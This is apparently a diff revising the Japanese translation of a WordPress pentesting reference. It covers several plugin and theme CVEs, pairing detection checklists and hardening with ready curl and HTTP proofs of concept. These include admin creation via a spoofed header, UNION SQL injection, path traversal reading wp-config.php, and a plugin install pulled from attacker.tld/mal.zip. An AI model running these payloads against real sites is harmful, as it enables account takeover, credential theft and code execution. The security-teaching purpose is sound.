array( @@ -368,21 +363,21 @@ $this->namespace, '/get/', array( ) ); ``` -The `permission_callback` は、特定のユーザーが API メソッドを呼び出す権限があるかをチェックするコールバック関数です。 +The `permission_callback` is a callback to function that checks if a given user is authorized to call the API method. -**組み込みの `__return_true` 関数が使われている場合、ユーザー権限のチェックを単純にスキップします。** +**If the built-in `__return_true` function is used, it'll simply skip user permissions check.** -- **php ファイルへの直接アクセス** +- **Direct access to the php file** -もちろん、Wordpress は PHP を使用しており、プラグイン内のファイルはウェブから直接アクセス可能です。したがって、プラグインがファイルへアクセスするだけで発動する脆弱な機能を公開している場合、任意のユーザーによって悪用され得ます。 +もちろん、Wordpress は PHP を使用しており、プラグイン内のファイルはウェブから直接アクセスできます。したがって、ファイルにアクセスするだけでトリガーされる脆弱な機能をプラグインが公開している場合、任意のユーザーによって悪用され得ます。 ### Trusted-header REST impersonation (WooCommerce Payments ≤ 5.6.1) -一部のプラグインは、内部統合やリバースプロキシ向けに「trusted header」のショートカットを実装し、そのヘッダーを REST リクエストの現在のユーザーコンテキスト設定に利用します。もしそのヘッダーが上流コンポーネントで暗号的にリクエストに結び付けられていなければ、攻撃者はそれを偽装して管理者として特権のある REST ルートにアクセスできます。 +一部のプラグインは内部連携や reverse proxies 向けに “trusted header” のショートカットを実装し、そのヘッダを REST リクエストの現在のユーザーコンテキストを設定するために使用します。上流のコンポーネントによってヘッダが暗号学的にリクエストに紐付けられていない場合、攻撃者はそれを偽装して administrator として特権のある REST ルートにアクセスできます。 -- 影響: core users REST ルート経由で新しい管理者を作成することで、未認証から管理者への権限昇格が可能になる。 -- Example header: `X-Wcpay-Platform-Checkout-User: 1`(ユーザー ID 1 を強制、通常は最初の管理者アカウント)。 -- Exploited route: `POST /wp-json/wp/v2/users` に昇格された role 配列を送信する。 +- Impact: 未認証の privilege escalation により、core users REST route を通して新しい administrator を作成し admin 権限を取得される可能性があります。 +- Example header: `X-Wcpay-Platform-Checkout-User: 1` (forces user ID 1, typically the first administrator account). +- Exploited route: `POST /wp-json/wp/v2/users` に対し、昇格した role 配列を含むリクエストを送る。 PoC ```http @@ -396,28 +391,31 @@ Content-Length: 114 {"username": "honeypot", "email": "wafdemo@patch.stack", "password": "demo", "roles": ["administrator"]} ``` -Why it works -- プラグインがクライアント制御のヘッダを認証状態にマップし、権限チェックをスキップする。 -- WordPress core はこのルートに対して `create_users` 権限を期待する;プラグインのハックはヘッダから直接 current user context を設定することでこれを回避する。 +なぜ動作するか -Expected success indicators -- 作成されたユーザーを記述する JSON ボディと共に返る HTTP 201。 -- `wp-admin/users.php` に表示される新しい admin ユーザー。 +- プラグインはクライアントが制御するヘッダーを認証状態にマッピングし、capability チェックをスキップする。 +- WordPress core はこのルートに対して `create_users` capability を期待している;プラグインのハックはヘッダーから直接現在のユーザーコンテキストを設定することでこれをバイパスする。 -Detection checklist -- ユーザコンテキストを設定するためにカスタムヘッダを読む `getallheaders()`, `$_SERVER['HTTP_...']`、またはベンダー SDK を grep する(例: `wp_set_current_user()`, `wp_set_auth_cookie()`)。 -- 堅牢な `permission_callback` チェックを欠き、代わりにリクエストヘッダに依存している特権コールバックの REST 登録をレビューする。 -- REST ハンドラ内でヘッダ値だけでガードされているコアのユーザー管理関数(`wp_insert_user`, `wp_create_user`)の使用を探す。 +期待される成功指標 -### wp_ajax_nopriv を介した認証されていない任意のファイル削除 (Litho Theme <= 3.0) +- 作成されたユーザーを記述する JSON ボディを伴う HTTP 201。 +- `wp-admin/users.php` に表示される新しい管理者ユーザー。 -WordPress の themes や plugins は `wp_ajax_` と `wp_ajax_nopriv_` フックを通じて AJAX ハンドラを公開することが多い。**_nopriv_** バリアントが使われると**コールバックは認証されていない訪問者から到達可能になる**ため、機密性の高いアクションは追加で以下を実装する必要がある: +検出チェックリスト -1. **権限チェック**(例: `current_user_can()` または少なくとも `is_user_logged_in()`)、および -2. **CSRF nonce** を `check_ajax_referer()` / `wp_verify_nonce()` で検証すること、および -3. **厳格な入力のサニタイズ / 検証**。 +- grep で `getallheaders()`, `$_SERVER['HTTP_...']`、またはカスタムヘッダーを読み取ってユーザーコンテキストを設定するベンダー SDK(例: `wp_set_current_user()`, `wp_set_auth_cookie()`)を探す。 +- 強固な `permission_callback` チェックを欠き、代わりにリクエストヘッダーに依存する特権コールバックについて REST 登録を確認する。 +- REST ハンドラ内でヘッダー値のみでゲートされているコアのユーザー管理関数(`wp_insert_user`, `wp_create_user`)の使用を探す。 -Litho multipurpose theme (< 3.1) は *Remove Font Family* 機能でこれら3つの制御を忘れており、結果として次のコード(簡略化)を出荷していた: +### wp_ajax_nopriv による未認証の任意ファイル削除 (Litho Theme <= 3.0) + +WordPress のテーマやプラグインはしばしば `wp_ajax_` および `wp_ajax_nopriv_` フックを通じて AJAX ハンドラを公開する。**_nopriv_** バリアントが使われると **コールバックは未認証の訪問者から到達可能になる**ため、機密性の高い処理は次を追加で実装する必要がある: + +1. **capability check**(例: `current_user_can()` または少なくとも `is_user_logged_in()`)、および +2. `check_ajax_referer()` / `wp_verify_nonce()` で検証された **CSRF nonce**、および +3. **厳格な入力のサニタイズ/検証**。 + +Litho multipurpose theme (< 3.1) は *Remove Font Family* 機能でこれら3つのコントロールを忘れてしまい、結果として次のコード(簡略化)を出荷した: ```php function litho_remove_font_family_action_data() { if ( empty( $_POST['fontfamily'] ) ) { @@ -438,13 +436,13 @@ add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove ``` Issues introduced by this snippet: -* **認証なしアクセス** – `wp_ajax_nopriv_` フックが登録されている。 -* **nonce / capability チェック無し** – 任意の訪問者がエンドポイントにアクセスできる。 -* **パスのサニタイズ無し** – ユーザー制御の `fontfamily` 文字列がフィルタリングなしでファイルシステムパスに連結され、古典的な `../../` トラバーサルを許す。 +* **認証なしでのアクセス** – the `wp_ajax_nopriv_` hook is registered. +* **nonce / capability チェックなし** – 任意の訪問者がエンドポイントにアクセスできる。 +* **パスのサニタイズなし** – ユーザー制御の `fontfamily` 文字列がフィルタリングなしでファイルシステムパスに連結され、古典的な `../../` トラバーサルを許可している。 #### 悪用 -攻撃者は単一の HTTP POST リクエストを送ることで、**uploads base directory 以下**(通常は `/wp-content/uploads/`)にある任意のファイルやディレクトリを削除できる: +攻撃者は単一の HTTP POST リクエストを送ることで、通常 `/wp-content/uploads/` の**uploads base directory 以下**にある任意のファイルやディレクトリを削除できる: ```bash curl -X POST https://victim.com/wp-admin/admin-ajax.php \ -d 'action=litho_remove_font_family_action_data' \ @@ -454,19 +452,19 @@ Because `wp-config.php` lives outside *uploads*, four `../` sequences are enough Other impactful targets include plugin/theme `.php` files (to break security plugins) or `.htaccess` rules. -#### Detection checklist +#### 検出チェックリスト -* Any `add_action( 'wp_ajax_nopriv_...')` callback that calls filesystem helpers (`copy()`, `unlink()`, `$wp_filesystem->delete()`, etc.). -* Concatenation of unsanitised user input into paths (look for `$_POST`, `$_GET`, `$_REQUEST`). -* Absence of `check_ajax_referer()` and `current_user_can()`/`is_user_logged_in()`. +* ファイルシステムヘルパー(`copy()`, `unlink()`, `$wp_filesystem->delete()` など)を呼び出す `add_action( 'wp_ajax_nopriv_...')` コールバック。 +* 未サニタイズのユーザー入力をパスに連結している箇所(`$_POST`, `$_GET`, `$_REQUEST` を探す)。 +* `check_ajax_referer()` や `current_user_can()`/`is_user_logged_in()` が欠如していること。 --- -### Privilege escalation via stale role restoration and missing authorization (ASE "View Admin as Role") +### 古いロールの復元と認可不足による権限昇格 (ASE "View Admin as Role") -多くのプラグインは、オリジナルのロールを user meta に保存して後で復元できるようにする "view as role" や一時的なロール切替機能を実装している。復元処理がリクエストパラメータ(例:`$_REQUEST['reset-for']`)とプラグイン管理のリストのみを頼りにし、capability チェックや有効な nonce を行わない場合、これは vertical privilege escalation になる。 +多くのプラグインは、元のロールを user meta に保存して後で復元できるようにすることで、「view as role」や一時的なロール切替機能を実装しています。復元処理がリクエストパラメータ(例: `$_REQUEST['reset-for']`)とプラグインが管理するリストだけに依存し、権限チェックや有効な nonce の検証を行わない場合、これは垂直的な権限昇格になります。 -実例は Admin and Site Enhancements (ASE) プラグイン(≤ 7.6.2.1)で発見された。リセット処理は、ユーザ名が内部配列 `$options['viewing_admin_as_role_are']` に存在する場合に `reset-for=` に基づいてロールを復元していたが、現在のロールを削除して user meta `_asenha_view_admin_as_original_roles` から保存されたロールを再追加する前に `current_user_can()` チェックも nonce 検証も行っていなかった: +実際の例として Admin and Site Enhancements (ASE) プラグイン (≤ 7.6.2.1) にて発見されました。リセットの処理では、ユーザー名が内部配列 `$options['viewing_admin_as_role_are']` に存在する場合に `reset-for=` に基づいてロールを復元していましたが、現在のロールを削除して user meta `_asenha_view_admin_as_original_roles` から保存されたロールを再追加する前に `current_user_can()` チェックも nonce の検証も行っていませんでした: ```php // Simplified vulnerable pattern if ( isset( $_REQUEST['reset-for'] ) ) { @@ -483,11 +481,11 @@ foreach ( $orig as $r ) { $u->add_role( $r ); } ``` なぜ悪用可能か -- サーバー側の認可なしに `$_REQUEST['reset-for']` とプラグインオプションを信頼している。 -- ユーザーが以前により高い権限を `_asenha_view_admin_as_original_roles` に保存されており、その後権限が下げられていた場合、reset path にアクセスすることでその権限を復元できる。 -- 一部の環境では、認証済みの任意のユーザーが `viewing_admin_as_role_are` にまだ残っている別のユーザー名のリセットをトリガーできる(認可の不備)。 +- サーバー側の認可なしに `$_REQUEST['reset-for']` とプラグインのオプションを信頼している。 +- ユーザーが以前により高い権限を `_asenha_view_admin_as_original_roles` に保存されており、後で降格された場合、リセット用のパスにアクセスすることでそれを復元できる。 +- 一部の導入環境では、認証済みの任意のユーザーが `viewing_admin_as_role_are` にまだ存在する別のユーザー名のリセットをトリガーできる(認可の不備)。 -Exploitation (example) +悪用(例) ```bash # While logged in as the downgraded user (or any auth user able to trigger the code path), # hit any route that executes the role-switcher logic and include the reset parameter. @@ -495,7 +493,7 @@ Exploitation (example) curl -s -k -b 'wordpress_logged_in=...' \ 'https://victim.example/wp-admin/?reset-for=' ``` -On vulnerable builds this removes current roles and re-adds the saved original roles (e.g., `administrator`), effectively escalating privileges. +脆弱なビルドでは、現在のロールを削除して保存された元のロール(例: `administrator`)を再追加し、実質的に権限を昇格させます。 Detection checklist @@ -507,9 +505,9 @@ Detection checklist --- -### Unauthenticated privilege escalation via cookie‑trusted user switching on public init (Service Finder “sf-booking”) +### cookie を信頼するユーザースイッチを public `init` に接続した場合の認証されていない権限昇格 (Service Finder “sf-booking”) -一部のプラグインは user-switching ヘルパーを public の `init` フックに結び付け、クライアント制御の cookie から識別を導出します。コードが認証、capability、および有効な nonce を検証せずに `wp_set_auth_cookie()` を呼び出すと、未認証の訪問者が任意のユーザー ID として強制ログインさせることができます。 +一部のプラグインは user-switching ヘルパーを public `init` フックに接続し、クライアント制御の cookie から識別を取得します。コードが認証、capability、および有効な nonce を検証せずに `wp_set_auth_cookie()` を呼び出すと、認証されていない訪問者が任意の user ID として強制ログインさせることができます。 Typical vulnerable pattern (simplified from Service Finder Bookings ≤ 6.1): ```php @@ -542,11 +540,11 @@ wp_die('No original user found to switch back to.'); ``` なぜ悪用可能か -- 公開された `init` フックによりハンドラは unauthenticated users に到達可能(`is_user_logged_in()` ガードがない)。 -- 識別はクライアントで変更可能な cookie (`original_user_id`) から導出されている。 -- `wp_set_auth_cookie($uid)` を直接呼び出すことで、リクエスタをそのユーザとしてログインさせる — capability/nonce checks が行われない。 +- 公開された `init` フックにより、ハンドラは unauthenticated なユーザーから到達可能です(`is_user_logged_in()` ガードがありません)。 +- 識別はクライアント側で変更可能なクッキー(`original_user_id`)から導出されます。 +- `wp_set_auth_cookie($uid)` を直接呼び出すと、要求者はそのユーザーとしてログインされます(権限チェックや nonce チェックが行われません)。 -Exploitation (unauthenticated) +悪用 (unauthenticated) ```http GET /?switch_back=1 HTTP/1.1 Host: victim.example @@ -556,32 +554,32 @@ Connection: close ``` --- -### WAF に関する WordPress/plugin CVEs の考慮事項 +### WordPress/plugin CVE に関する WAF の考慮事項 -汎用の edge/server WAF は、広範なパターン(SQLi、XSS、LFI)向けにチューニングされています。多くの高インパクトな WordPress/plugin の脆弱性は、アプリケーション固有のロジックや認可(auth)のバグであり、エンジンが WordPress のルートや plugin のセマンティクスを理解していない限り、通常のトラフィックに見えることがあります。 +汎用の edge/server WAF は広範なパターン(SQLi、XSS、LFI)に合わせて調整されています。多くの高影響な WordPress/plugin の脆弱性はアプリケーション固有のロジック/auth バグで、エンジンが WordPress のルートや plugin のセマンティクスを理解していない限り無害なトラフィックに見えます。 -Offensive notes +攻撃メモ -- クリーンなペイロードで plugin 固有のエンドポイントを標的にする: `admin-ajax.php?action=...`, `wp-json//`, custom file handlers, shortcodes. -- まずは認証不要の経路を試す(AJAX `nopriv`, REST で permissive な `permission_callback`, public shortcodes)。デフォルトのペイロードは難読化なしで成功することが多い。 -- 典型的な高インパクトのケース:権限昇格(broken access control)、任意ファイルのアップロード/ダウンロード、LFI、open redirect。 +- プラグイン固有のエンドポイントをクリーンな payloads で狙う: `admin-ajax.php?action=...`, `wp-json//`, custom file handlers, shortcodes. +- まずは認証不要の経路を試す(AJAX `nopriv`, REST with permissive `permission_callback`, public shortcodes)。デフォルトの payloads は難読化なしで成功することが多い。 +- 典型的な高影響ケース: privilege escalation (broken access control), arbitrary file upload/download, LFI, open redirect. -Defensive notes +防御メモ -- plugin CVEs を保護するために汎用 WAF シグネチャに依存しないこと。アプリケーション層で脆弱性固有の仮想パッチを導入するか、迅速に更新する。 -- コード内では、ネガティブな regex フィルタよりも、ポジティブセキュリティチェック(capabilities、nonces、厳格な入力検証)を優先する。 +- プラグインの CVE を保護するために汎用 WAF シグネチャに頼らないこと。アプリケーション層で脆弱性特化の仮パッチを実装するか、迅速に更新する。 +- コード内ではネガティブな regex フィルタよりも、ポジティブなセキュリティチェック(capabilities, nonces, strict input validation)を優先する。 -## WordPress Protection +## WordPress の保護 -### Regular Updates +### 定期的な更新 -WordPress、plugins、themes が最新であることを確認してください。また wp-config.php で自動更新が有効になっていることを確認してください: +WordPress、プラグイン、およびテーマが最新であることを確認してください。また、wp-config.php で自動更新が有効になっていることを確認してください: ```bash define( 'WP_AUTO_UPDATE_CORE', true ); add_filter( 'auto_update_plugin', '__return_true' ); add_filter( 'auto_update_theme', '__return_true' ); ``` -また、**信頼できる WordPress プラグインとテーマのみをインストールしてください**。 +Also, **信頼できる WordPress プラグインとテーマのみをインストールしてください**。 ### セキュリティプラグイン @@ -592,14 +590,14 @@ add_filter( 'auto_update_theme', '__return_true' ); ### **その他の推奨事項** - デフォルトの **admin** ユーザーを削除する -- **強力なパスワード** と **2FA** を使用する -- 定期的にユーザーの**レビュー**および**権限**を確認する -- **ログイン試行回数を制限する**ことで Brute Force 攻撃を防ぐ -- **`wp-admin.php`** ファイル名を変更し、内部または特定のIPアドレスからのみアクセスを許可する。 +- **強力なパスワード**と**2FA**を使用する +- 定期的にユーザーの**権限**を**確認**する +- Brute Force 攻撃を防ぐために**ログイン試行回数を制限する** +- **`wp-admin.php`** ファイル名を変更し、社内または特定のIPアドレスからのみアクセスを許可する。 -### Unauthenticated SQL Injection via insufficient validation (WP Job Portal <= 2.3.2) +### 認証不要の SQL Injection(不十分な検証による)(WP Job Portal <= 2.3.2) -WP Job Portal 採用プラグインは **savecategory** タスクを公開しており、結果的に `modules/category/model.php::validateFormData()` 内で以下の脆弱なコードを実行していた: +WP Job Portal の求人プラグインは **savecategory** タスクを公開しており、最終的に `modules/category/model.php::validateFormData()` 内で以下の脆弱なコードを実行します: ```php $category = WPJOBPORTALrequest::getVar('parentid'); $inquery = ' '; @@ -609,11 +607,11 @@ $inquery .= " WHERE parentid = $category "; // <-- direct concat ✗ $query = "SELECT max(ordering)+1 AS maxordering FROM " . wpjobportal::$_db->prefix . "wj_portal_categories " . $inquery; // executed later ``` -このスニペットによって導入された問題: +このスニペットで導入された問題: -1. **サニタイズされていないユーザー入力** – `parentid` は HTTP リクエストからそのまま取得されています。 -2. **WHERE句内での文字列連結** – `is_numeric()` / `esc_sql()` / プリペアドステートメント が使われていません。 -3. **認証不要で到達可能** – アクションは `admin-post.php` を通じて実行されますが、唯一のチェックは **CSRF nonce**(`wp_verify_nonce()`)だけで、任意の訪問者がショートコード `[wpjobportal_my_resumes]` を埋め込んだ公開ページから取得できます。 +1. **Unsanitised user input** – `parentid` は HTTP リクエストからそのまま取得されます。 +2. **String concatenation inside the WHERE clause** – `is_numeric()` / `esc_sql()` / prepared statement が使われていません。 +3. **Unauthenticated reachability** – action は `admin-post.php` 経由で実行されますが、存在するチェックは **CSRF nonce** (`wp_verify_nonce()`) のみで、任意の訪問者がショートコード `[wpjobportal_my_resumes]` を埋め込んだ公開ページから取得できます。 #### 悪用 @@ -629,18 +627,18 @@ curl -X POST https://victim.com/wp-admin/admin-post.php \ -d 'parentid=0 OR 1=1-- -' \ -d 'cat_title=pwn' -d 'id=' ``` -レスポンスは注入したクエリの結果を開示するか、データベースを変更し、SQLi の存在を証明します。 +レスポンスは注入されたクエリの結果を開示するかデータベースを変更し、SQLi を立証します。 -### 認証不要の任意ファイルダウンロード / パストラバーサル (WP Job Portal <= 2.3.2) +### Unauthenticated Arbitrary File Download / Path Traversal (WP Job Portal <= 2.3.2) -別のタスクである **downloadcustomfile** により、訪問者はパストラバーサルを使ってディスク上の **任意のファイル** をダウンロードできました。脆弱なシンクは `modules/customfield/model.php::downloadCustomUploadedFile()` にあります: +別のタスク、**downloadcustomfile** により、訪問者が path traversal を使ってディスク上の **任意のファイル** をダウンロードできました。脆弱なシンクは `modules/customfield/model.php::downloadCustomUploadedFile()` にあります: ```php $file = $path . '/' . $file_name; ... echo $wp_filesystem->get_contents($file); // raw file output ``` -`$file_name` は攻撃者により制御され、**サニタイズされていない**状態で連結されます。再度、唯一のゲートは **CSRF nonce** で、resume ページから取得できます。 +`$file_name` は攻撃者に制御されており、**without sanitisation** のまま連結されています。 繰り返しになりますが、唯一の関門は resume page から取得できる **CSRF nonce** です。 #### Exploitation ```bash @@ -651,13 +649,13 @@ curl -G https://victim.com/wp-admin/admin-post.php \ --data-urlencode 'entity_id=1' \ --data-urlencode 'file_name=../../../wp-config.php' ``` -サーバーは `wp-config.php` の内容を返し、leaking DB credentials and auth keys。 +サーバは `wp-config.php` の内容を返し、leaking DB credentials and auth keys. -## 未認証アカウントの乗っ取り via Social Login AJAX fallback (Jobmonster Theme <= 4.7.9) +## 未認証でのアカウント乗っ取り via Social Login AJAX fallback (Jobmonster Theme <= 4.7.9) -多くのテーマ/プラグインは admin-ajax.php 経由で公開される "social login" ヘルパーを同梱しています。未認証の AJAX アクション (wp_ajax_nopriv_...) が、provider data がない場合にクライアント提供の識別子を信用してから wp_set_auth_cookie() を呼び出すと、これは完全な認証バイパスになります。 +多くのテーマ/プラグインは admin-ajax.php を介して公開される "social login" ヘルパーを同梱しています。未認証の AJAX アクション (wp_ajax_nopriv_...) がプロバイダのデータが欠落している場合にクライアント提供の識別子を信頼し、その後 wp_set_auth_cookie() を呼び出すと、完全な認証バイパスになります。 -Typical flawed pattern (simplified) +典型的な脆弱なパターン(簡略化) ```php public function check_login() { // ... request parsing ... @@ -686,17 +684,17 @@ wp_send_json(['status' => 'not_user']); } // add_action('wp_ajax_nopriv_', [$this, 'check_login']); ``` -なぜ悪用可能か +Why it’s exploitable -- admin-ajax.php 経由で認証なしで到達可能(wp_ajax_nopriv_… action)。 -- nonce/capability チェックが状態変更前に行われていない。 -- OAuth/OpenID プロバイダ検証が欠如しており、デフォルトの分岐が攻撃者の入力を受け入れてしまう。 -- get_user_by('email', $_POST['id']) の後に wp_set_auth_cookie($uid) が呼ばれ、要求者を任意の既存のメールアドレスとして認証してしまう。 +- 未認証で到達可能 — admin-ajax.php(wp_ajax_nopriv_… action)。 +- 状態変更の前に nonce/capability チェックがない。 +- OAuth/OpenID プロバイダの検証が欠如している;デフォルトの分岐が攻撃者の入力を受け入れる。 +- get_user_by('email', $_POST['id']) の後に wp_set_auth_cookie($uid) が続き、要求者を任意の既存のメールアドレスとして認証してしまう。 Exploitation (unauthenticated) -- 前提条件:攻撃者が /wp-admin/admin-ajax.php に到達でき、有効なユーザーメールを知っているか推測できること。 -- provider をサポートされていない値に設定する(または省略する)ことでデフォルトの分岐に入り、id= を渡す。 +- Prerequisites: 攻撃者が /wp-admin/admin-ajax.php に到達でき、有効なユーザのメールアドレスを知っているか推測できること。 +- provider をサポートされていない値に設定(または省略)してデフォルトの分岐を通り、id= を渡す。 ```http POST /wp-admin/admin-ajax.php HTTP/1.1 Host: victim.tld @@ -716,20 +714,20 @@ Expected success indicators Finding the action name -- テーマやプラグイン内で add_action('wp_ajax_nopriv_...', '...') の登録をソーシャルログインのコード(例: framework/add-ons/social-login/class-social-login.php)で確認する。 -- AJAX ハンドラ内で wp_set_auth_cookie(), get_user_by('email', ...) を grep する。 +- Inspect the theme/plugin for add_action('wp_ajax_nopriv_...', '...') registrations in social login code (e.g., framework/add-ons/social-login/class-social-login.php). +- Grep for wp_set_auth_cookie(), get_user_by('email', ...) inside AJAX handlers. Detection checklist -- Web ログに、social-login アクションと id= を含む /wp-admin/admin-ajax.php への未認証の POST が記録されていること。 -- 同一の IP/User-Agent からの認証済みトラフィックに先立ち、success JSON を含む 200 レスポンスがあること。 +- Web logs showing unauthenticated POSTs to /wp-admin/admin-ajax.php with the social-login action and id=. +- 200 responses with the success JSON immediately preceding authenticated traffic from the same IP/User-Agent. Hardening -- クライアント入力から識別情報を派生させない。検証済みプロバイダの token/ID に由来する email/ID のみを受け入れる。 -- ログイン補助でも CSRF nonces と capability checks を要求する。wp_ajax_nopriv_ は厳密に必要な場合以外登録しない。 -- OAuth/OIDC レスポンスをサーバ側で検証し、プロバイダが欠落または無効な場合は拒否する(POST id にフォールバックしない)。 -- 修正されるまで、ソーシャルログインを一時的に無効化するか、エッジで仮想パッチ(脆弱なアクションをブロック)することを検討する。 +- Do not derive identity from client input. Only accept emails/IDs originating from a validated provider token/ID. +- Require CSRF nonces and capability checks even for login helpers; avoid registering wp_ajax_nopriv_ unless strictly necessary. +- Validate and verify OAuth/OIDC responses server-side; reject missing/invalid providers (no fallback to POST id). +- Consider temporarily disabling social login or virtually patching at the edge (block the vulnerable action) until fixed. Patched behaviour (Jobmonster 4.8.0) @@ -737,7 +735,7 @@ Patched behaviour (Jobmonster 4.8.0) ## Unauthenticated privilege escalation via REST token/key minting on predictable identity (OttoKit/SureTriggers ≤ 1.0.82) -Some plugins expose REST endpoints that mint reusable “connection keys” or tokens without verifying the caller’s capabilities. If the route authenticates only on a guessable attribute (e.g., username) and does not bind the key to a user/session with capability checks, any unauthenticated attacker can mint a key and invoke privileged actions (admin account creation, plugin actions → RCE). +一部のプラグインは、呼び出し元の権限を検証せずに再利用可能な「connection keys」やトークンを発行するRESTエンドポイントを公開しています。ルートが推測可能な属性(例: username)のみで認証し、キーをユーザー/セッションに厳密な capability チェックで紐付けない場合、未認証の攻撃者がキーを発行して権限のある処理(管理者アカウント作成、プラグインの特権アクション → RCE)を呼び出せます。 - Vulnerable route (example): sure-triggers/v1/connection/create-wp-connection - Flaw: accepts a username, issues a connection key without current_user_can() or a strict permission_callback @@ -757,25 +755,25 @@ curl -s -X POST "https://victim.tld/wp-json/sure-triggers/v1/users" \ -H 'X-Connection-Key: ' \ --data '{"username":"pwn","email":"p@t.ld","password":"p@ss","role":"administrator"}' ``` -Why it’s exploitable -- Sensitive REST route protected only by low-entropy identity proof (username) or missing permission_callback -- No capability enforcement; minted key is accepted as a universal bypass +なぜ悪用可能か +- 機微な REST ルートが低エントロピーの識別証明(username)だけで保護されている、または permission_callback が欠如している +- 権限強制が行われておらず、発行されたキーが普遍的なバイパスとして受け入れられている -Detection checklist -- プラグインコードを grep して register_rest_route(..., [ 'permission_callback' => '__return_true' ]) を探す +検出チェックリスト +- Grep でプラグインコードを検索: register_rest_route(..., [ 'permission_callback' => '__return_true' ]) - リクエスト提供の識別情報(username/email)に基づいてトークン/キーを発行し、認証済みユーザーや capability に紐付けていないルート -- サーバー側の capability チェックなしに発行済みトークン/キーを受け入れる後続ルートを探す +- 発行済みのトークン/キーをサーバー側での権限チェックなしに受け入れる後続ルートを探す -Hardening -- 特権を持つ REST ルートでは、必要な capability に対して current_user_can() を強制する permission_callback を要求する -- クライアント提供の識別情報から長寿命キーを発行しない。必要な場合は、認証後に短寿命かつユーザーに紐づいたトークンを発行し、使用時に capability を再確認する -- 呼び出し元のユーザーコンテキストを検証する(wp_set_current_user は単独では不十分)および !is_user_logged_in() || !current_user_can() の場合はリクエストを拒否する +対策 +- 特権を要する REST ルートには、必要な capability に対して current_user_can() を実行する permission_callback を必須にする +- クライアント提供の識別情報から長期間有効なキーを発行しない。必要であれば、認証後に短期間有効でユーザーに紐づくトークンを発行し、使用時に再度 capability を確認する +- 呼び出し元のユーザーコンテキストを検証する(wp_set_current_user は単体では不十分)。!is_user_logged_in() || !current_user_can() の場合はリクエストを拒否する --- ## Nonce gate misuse → 認証されていない任意のプラグインインストール (FunnelKit Automations ≤ 3.5.3) -Nonces は CSRF を防ぐものであり、認可を意味するものではない。コードが nonce の通過を安全の合図とみなして特権操作(例: install/activate plugins)の capability チェックをスキップすると、認証されていない攻撃者が弱い nonce 要件を満たしてバックドア入りや脆弱なプラグインをインストールすることで RCE に到達し得る。 +Nonces は CSRF を防ぐものであり、authorization を防ぐものではない。コードが nonce の検証通過を許可サインと見なし、その後に特権操作(例: プラグインのインストール/有効化)に対する権限チェックをスキップすると、認証されていない攻撃者が弱い nonce 要件を満たしてバックドア入りや脆弱なプラグインをインストールし、RCE に至る可能性がある。 - Vulnerable path: plugin/install_and_activate - Flaw: weak nonce hash check; no current_user_can('install_plugins'|'activate_plugins') once nonce “passes” @@ -788,23 +786,23 @@ curl -i -s -X POST https://victim.tld/wp-json//plugin/install_and_ --data '{"_nonce":"","slug":"hello-dolly","source":"https://attacker.tld/mal.zip"}' ``` 検出チェックリスト -- wp_verify_nonce()/check_admin_referer() のみで権限チェックがない、プラグイン/テーマを変更する REST/AJAX ハンドラ -- nonce 検証後に $skip_caps = true を設定する任意のコードパス +- REST/AJAX handlers that modify plugins/themes with only wp_verify_nonce()/check_admin_referer() and no capability check +- Any code path that sets $skip_caps = true after nonce validation -Hardening -- nonces は常に CSRF トークンとしてのみ扱う;nonce の状態に関係なく権限チェックを強制する -- installer code に到達する前に current_user_can('install_plugins') と current_user_can('activate_plugins') を要求する -- 未認証アクセスを拒否する;特権フローに対して nopriv AJAX actions を公開しない +ハードニング +- Always treat nonces as CSRF tokens only; enforce capability checks regardless of nonce state +- Require current_user_can('install_plugins') and current_user_can('activate_plugins') before reaching installer code +- Reject unauthenticated access; avoid exposing nopriv AJAX actions for privileged flows --- -## depicter-* actions の s (search) パラメータ経由の認証不要の SQLi (Depicter Slider ≤ 3.6.1) +## 未認証の SQLi — depicter-* アクションの s (search) パラメータ経由 (Depicter Slider ≤ 3.6.1) -複数の depicter-* アクションが s (search) パラメータを受け取り、パラメータ化なしで SQL クエリに連結していた。 +複数の depicter-* アクションが s (search) パラメータを受け取り、パラメータ化せずに SQL クエリに連結していた。 - Parameter: s (search) -- Flaw: WHERE/LIKE 句での直接文字列連結;prepared statements/サニタイズなし -- Impact: database exfiltration (users, hashes), lateral movement +- Flaw: direct string concatenation in WHERE/LIKE clauses; no prepared statements/sanitization +- Impact: データベースの情報持ち出し(users、hashes)、横方向への侵害 PoC ```bash @@ -813,35 +811,35 @@ curl -G "https://victim.tld/wp-admin/admin-ajax.php" \ --data-urlencode 'action=depicter_search' \ --data-urlencode "s=' UNION SELECT user_login,user_pass FROM wp_users-- -" ``` -Detection checklist -- Grep for depicter-* action handlers and direct use of $_GET['s'] or $_POST['s'] in SQL -- $wpdb->get_results()/query() に渡されるカスタムクエリで s を連結している箇所を確認 +検出チェックリスト +- Grepでdepicter-*のactionハンドラと、SQL内での$_GET['s']または$_POST['s']の直接使用を探す +- $wpdb->get_results()/query()に渡されるカスタムクエリで、sを連結しているものを確認する -Hardening -- 常に $wpdb->prepare() または wpdb プレースホルダを使用し、サーバー側で予期しないメタ文字を拒否する -- s に対して厳密な許可リストを追加し、期待される文字セット/長さに正規化する +ハードニング +- 常に $wpdb->prepare() または wpdb のプレースホルダを使用する;サーバー側で予期しないメタ文字を拒否する +- s に対して厳格な許可リストを追加し、期待される文字セット/長さに正規化する --- -## 認証不要の Local File Inclusion via unvalidated template/file path (Kubio AI Page Builder ≤ 2.5.1) +## 認証不要の Local File Inclusion — 未検証のテンプレート/ファイルパス経由 (Kubio AI Page Builder ≤ 2.5.1) -テンプレートパラメータで攻撃者制御のパスを正規化/制限せずに受け入れると、任意のローカルファイルの読み取りを許し、includable な PHP やログファイルが実行時に取り込まれる場合はコード実行が発生することがある。 +テンプレートパラメータで正規化/コンテインメントせずに攻撃者制御のパスを受け入れると、任意のローカルファイルの読み取りが可能になり、includable PHP/log files がランタイムに取り込まれる場合はコード実行になることがある。 -- パラメータ: __kubio-site-edit-iframe-classic-template -- 脆弱性: 正規化/許可リストがなく、パス・トラバーサルが可能 -- 影響: 秘密情報の漏洩 (wp-config.php)、特定の環境では RCE の可能性 (log poisoning、includable PHP) +- Parameter: __kubio-site-edit-iframe-classic-template +- Flaw: 正規化/allowlistingなし;traversalが可能 +- Impact: 機密情報の開示(wp-config.php)、特定環境では RCE の可能性(log poisoning、includable PHP) PoC – wp-config.php を読み取る ```bash curl -i "https://victim.tld/?__kubio-site-edit-iframe-classic-template=../../../../wp-config.php" ``` 検出チェックリスト -- realpath() による包含チェックを行わずにリクエストパスを include()/require()/read シンクに連結するハンドラーがないか確認する -- 意図した templates 